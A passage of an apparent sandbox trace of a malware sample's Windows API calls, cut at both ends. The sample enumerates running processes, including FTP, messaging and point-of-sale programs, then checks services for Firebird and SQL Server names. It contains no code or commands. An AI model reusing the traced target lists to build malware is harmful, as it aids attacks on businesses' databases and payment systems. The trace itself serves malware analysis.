lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0088.067] lstrlenW (lpString="pidgin.exe") returned 10 [0088.067] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0088.070] lstrlenW (lpString="scriptftp.exe") returned 13 [0088.070] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0088.071] lstrlenW (lpString="skype.exe") returned 9 [0088.071] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0088.072] lstrlenW (lpString="smartftp.exe") returned 12 [0088.072] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0088.073] lstrlenW (lpString="thunderbird.exe") returned 15 [0088.073] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0088.074] lstrlenW (lpString="totalcmd.exe") returned 12 [0088.074] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0088.075] lstrlenW (lpString="trillian.exe") returned 12 [0088.075] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0088.076] lstrlenW (lpString="webdrive.exe") returned 12 [0088.076] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0088.077] lstrlenW (lpString="whatsapp.exe") returned 12 [0088.077] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0088.077] lstrlenW (lpString="winscp.exe") returned 10 [0088.078] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0088.078] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0088.078] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0088.079] lstrlenW (lpString="active-charge.exe") returned 17 [0088.079] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0088.080] lstrlenW (lpString="accupos.exe") returned 11 [0088.080] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0088.081] lstrlenW (lpString="afr38.exe") returned 9 [0088.081] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0088.082] lstrlenW (lpString="aldelo.exe") returned 10 [0088.082] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0088.082] lstrlenW (lpString="ccv_server.exe") returned 14 [0088.082] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0088.083] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0088.083] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0088.084] lstrlenW (lpString="creditservice.exe") returned 17 [0088.084] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0088.085] lstrlenW (lpString="edcsvr.exe") returned 10 [0088.085] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0088.086] lstrlenW (lpString="fpos.exe") returned 8 [0088.086] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0088.087] lstrlenW (lpString="isspos.exe") returned 10 [0088.087] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0088.087] lstrlenW (lpString="mxslipstream.exe") returned 16 [0088.088] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0088.088] lstrlenW (lpString="omnipos.exe") returned 11 [0088.088] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0088.089] lstrlenW (lpString="spcwin.exe") returned 10 [0088.089] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0088.090] lstrlenW (lpString="spgagentservice.exe") returned 19 [0088.090] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0088.090] lstrlenW (lpString="utg2.exe") returned 8 [0088.091] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0088.091] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0088.091] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0088.092] lstrlenW (lpString="glow be.exe") returned 11 [0088.092] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0088.093] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0088.093] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0088.093] lstrlenW (lpString="contains roles was.exe") returned 22 [0088.094] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.094] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0088.094] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.095] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.095] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.096] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.096] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0088.096] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0088.096] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0088.097] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0088.097] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0088.098] lstrlenW (lpString="UsoClient.exe") returned 13 [0088.098] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0088.098] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0088.098] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.488] lstrlenW (lpString="conhost.exe") returned 11 [0088.488] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.489] lstrlenW (lpString="conhost.exe") returned 11 [0088.489] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.490] lstrlenW (lpString="svchost.exe") returned 11 [0088.490] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0088.490] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0088.490] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.491] lstrlenW (lpString="svchost.exe") returned 11 [0088.491] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.492] lstrlenW (lpString="cmd.exe") returned 7 [0088.492] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.492] lstrlenW (lpString="conhost.exe") returned 11 [0088.492] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0088.493] lstrlenW (lpString="mode.com") returned 8 [0088.493] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0088.493] lstrlenW (lpString="LogonUI.exe") returned 11 [0088.493] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0088.494] CloseHandle (hObject=0x330) returned 1 [0088.494] Sleep (dwMilliseconds=0x1f4) [0089.124] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef18 [0089.420] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0089.420] GetLastError () returned 0xea [0089.420] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x37e79b8 [0089.421] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37e79b8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37e79b8, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0089.421] CloseServiceHandle (hSCObject=0x4cef18) returned 1 [0089.422] lstrlenW (lpString="Appinfo") returned 7 [0089.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0089.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0089.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0089.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0089.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0089.422] lstrlenW (lpString="AppXSvc") returned 7 [0089.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0089.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0089.422] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0089.422] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0089.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0089.422] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0089.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.422] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0089.422] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0089.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0089.422] lstrlenW (lpString="Audiosrv") returned 8 [0089.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0089.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0089.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0089.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0089.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0089.422] lstrlenW (lpString="BFE") returned 3 [0089.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0089.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0089.422] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0089.422] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0089.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0089.422] lstrlenW (lpString="BITS") returned 4 [0089.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0089.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0089.422] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0089.423] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0089.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0089.423] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0089.423] lstrlenW (lpString="CDPSvc") returned 6 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0089.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0089.423] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0089.423] lstrlenW (lpString="ClickToRunSvc") returned 13 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0089.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0089.423] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0089.423] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0089.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0089.423] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0089.423] lstrlenW (lpString="CryptSvc") returned 8 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0089.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0089.423] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0089.423] lstrlenW (lpString="DcomLaunch") returned 10 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.423] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0089.423] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0089.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0089.423] lstrlenW (lpString="DeviceAssociationService") returned 24 [0089.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0089.424] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0089.424] lstrlenW (lpString="Dhcp") returned 4 [0089.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0089.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0089.424] lstrlenW (lpString="Dnscache") returned 8 [0089.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0089.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0089.424] lstrlenW (lpString="DoSvc") returned 5 [0089.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0089.424] lstrcmpiW 